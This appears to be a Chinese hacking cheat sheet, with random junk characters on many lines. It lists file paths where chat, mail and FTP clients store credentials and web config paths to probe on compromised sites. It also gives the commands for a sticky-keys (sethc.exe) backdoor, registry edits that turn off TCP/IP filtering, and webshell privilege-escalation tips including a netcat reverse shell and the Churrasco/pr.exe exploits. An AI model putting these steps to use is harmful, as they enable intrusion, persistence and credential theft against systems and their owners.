2 q' D6 W' G8 x! ]$ w# ?c:\Program Files\Tencent\qq2009\qq.exe
4 v* k  u4 _5 z# {' P; vc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
, p& L  V3 c6 w( r9 @% ^0 s/ N# fC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
" e) E$ g# ~' L! K( t( jC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
0 `& W% `1 t3 ^/ s9 K  e9 Pc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
8 x7 K; i( p% F! ~c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
3 l  z) q9 U4 s; G" b6 s& P2 tc:\Program Files\tencent\QQGAME\readme.txt
8 T  p  p3 A) A: b% K+ x6 p( vC:\Program Files\StormII\Storm.exe
2 W1 w% }/ H0 m2 n
3.网站相对路径:

2 [) l, ]# E6 M! B8 ?3 _4 \: U/config.php
../../config.php
& W) y7 F' s: b3 o  U../config.php
8 w! }! L5 v) s2 b. a5 n$ ~' |../../../config.php
3 b# p" k- X/ s; ?0 P/config.inc.php
% i1 U6 Z0 [4 U; ^7 _./config.inc.php
# ?- Z! @0 ^/ a- |6 g: J../../config.inc.php
../config.inc.php
2 X5 t* ]7 h5 d! k../../../config.inc.php
# u" a: W2 k1 }" h$ F4 R0 s5 Z' P" |/conn.php
+ f# x' ?; Q. H./conn.php
../../conn.php
9 \! j5 J8 ~  W& a2 Q* f../conn.php
/ R, M, A, P1 R, D7 e../../../conn.php
5 z- o# n2 Y8 p( k/conn.asp
% v  b- Z: |5 H# M6 l: n! ~9 O. `* |8 P./conn.asp
../../conn.asp
! K- C9 \3 m! P' E1 K7 O2 [2 e5 U../conn.asp
../../../conn.asp
& _1 F7 n. W/ |+ M, f0 J/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
  w9 C! _; C7 e- ~8 U8 O' P; Z4 B../../../config.inc.php
/config/config.php
../../config/config.php
4 K% Y+ K+ b- W" q../config/config.php
../../../config/config.php
/config/config.inc.php
, ?( t$ a8 T, u! [! u* {, v./config/config.inc.php
( h, U* Q2 ?$ t9 H: |6 X! \. s../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
7 B2 r' ^9 l; x; E  A$ K' S/config/conn.php
& U: u. H2 A7 g, N! C3 h  O. R./config/conn.php
0 g/ u- b7 \7 W../../config/conn.php
../config/conn.php
../../../config/conn.php
! B( y1 R$ M, u/config/conn.asp
8 _& f, W) \! C8 E, W./config/conn.asp
8 k' `5 P; U* s+ Z: Z5 A0 M8 W* o../../config/conn.asp
' k2 Z& f/ H2 V; P( [8 ~; {../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
5 p# l% v& g$ W3 t& p( ^) u./config/config.inc.php
../../config/config.inc.php
9 K4 o* Q, w$ h' \5 s. `! T% z../config/config.inc.php
8 b7 ]  K6 T8 _+ c8 m, G1 L# K../../../config/config.inc.php
/data/config.php
../../data/config.php
, F' N( j& g4 ?8 S5 |../data/config.php
' @; \! b. x, K; O6 g9 w. r$ G$ k5 i' O../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
8 T  @& y1 X: m5 {7 K../../../data/config.inc.php
/data/conn.php
+ ]) G' _+ m( ]6 y5 ?7 n1 w: |./data/conn.php
" o1 _) T% ?5 q7 f/ a, b../../data/conn.php
1 }8 {: N, e) Y$ f, m5 B../data/conn.php
../../../data/conn.php
9 Q( M$ N+ C& @4 W7 H8 l- v/data/conn.asp
4 ^6 Z+ B- V3 M8 Z, Y+ w./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
6 w6 B! w  t) d& S0 l$ y" w  `0 g0 k/data/config.inc.php
./data/config.inc.php
( {: i$ M% v- h# a# ~7 }../../data/config.inc.php
7 [* ^' I  x" P; w" N../data/config.inc.php
( F( P! I% z1 O5 r. \) y, e../../../data/config.inc.php
! |& j6 T5 `) {9 c# b) |/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
0 W9 k5 ~( I, r; n% p  K& e0 N../include/config.inc.php
9 }& @8 z! O+ H3 h1 D& r5 V../../../include/config.inc.php
4 _, A/ ^# x: q- c0 @/include/conn.php
./include/conn.php
../../include/conn.php
5 {0 _* ?2 H" J8 ?% n../include/conn.php
; H) @) m# z1 R# {: e../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
( j; p) N& z" A! U' h../include/conn.asp
- ?/ e/ ?: D2 |6 I6 H../../../include/conn.asp
9 W0 s$ e" p$ V% S' O+ Z' Y: X/include/config.inc.php
! g; }# R2 v$ ?3 x./include/config.inc.php
' w* G6 y& i, Q: J1 J3 q../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/ A# o' }0 X& B2 E& v1 Z/inc/config.php
. p! ^/ T1 I0 q3 h$ k/ H../../inc/config.php
../inc/config.php
# R6 x' }. F% ^7 _2 I../../../inc/config.php
* x- ]7 t0 J1 ~/ @6 J/inc/config.inc.php
# w: v/ {8 P- \- Q; b7 M* ?& G./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
/ q% a- @% i0 I$ j; ^./inc/conn.php
../../inc/conn.php
../inc/conn.php
1 y3 Z0 E0 J: h; m& e5 [1 Q../../../inc/conn.php
/inc/conn.asp
8 p7 S. ^; u4 w3 \./inc/conn.asp
. l; S3 X5 N5 z' e" {6 n2 q0 r; R' W; q../../inc/conn.asp
3 W" h1 B  P  s+ C0 i( e) |5 S9 _* u  D../inc/conn.asp
# i+ V4 t& w* r% E7 E( |9 y/ m../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
3 K5 E  @9 v' O! G, }../../inc/config.inc.php
../inc/config.inc.php
6 K( b: U# a% o5 L../../../inc/config.inc.php
( g0 t; [  v' ~+ j/index.php
./index.php
5 [/ k) M0 L3 T$ O! ]../../index.php
& |; Z# @" }5 j../index.php
../../../index.php
5 m' x7 U+ V2 f+ w% B/index.asp
./index.asp
* R% R$ u! M5 M' l4 r+ k% r  u../../index.asp
0 P2 i8 e3 }: G# w) ?../index.asp
../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
2 ~2 J; b4 [; j# S* y% M" N4 p
" A2 `, D- I# Z　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

( ~9 {* _6 F) {　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
- W3 n$ \& P7 Z% F5 |1 h
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
: \' a  ?4 L7 F" m
: V4 Z8 V/ j7 D; p　　attrib c:\windows\system32\sethc.exe +h +r +s
9 i% F( u' ^2 c
& J" V( X# P* f0 v& ^  _　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
8 \& m' ~7 z9 C# T, C' ?+ Q去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
. k, P. F2 m# L: I, {- [/ xHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
$ Y6 \2 F6 w$ zregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
1 s. D4 P5 N# C& B! h! q% E$ U命令来导出注册表项
6 c4 i/ i. c( P
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
$ y) ^* ~* B: E1 l  U& B
再将以上三个文件分别用
4 \5 G1 Y3 |4 C4 W. g: \/ Pregedit -s D:\a.reg
regedit -s D:\b.reg
; B5 u, [  e8 y9 Q. f$ K, Pregedit -s D:\c.reg
导入注册表即可

' U% P# {- W5 x3 q/ z6 ]* swebshell提权小技巧
) P* k4 c3 y* fcmd路径:
# A8 S8 y$ M2 f4 o8 P  C5 t# hc:\windows\temp\cmd.exe
3 L# A% T% ?% n- Gnc也在同目录下
例如反弹cmdshell：
0 t2 U: J9 u# E6 q8 I"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
8 W; y% C, D. Y通常都不会成功。
/ l& r- G7 l/ Q( ^" x
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
! e, t/ b  L1 m命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
$ J% `7 u' r7 z/ m7 z却能成功。。
' P6 U( v* \- T) [这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功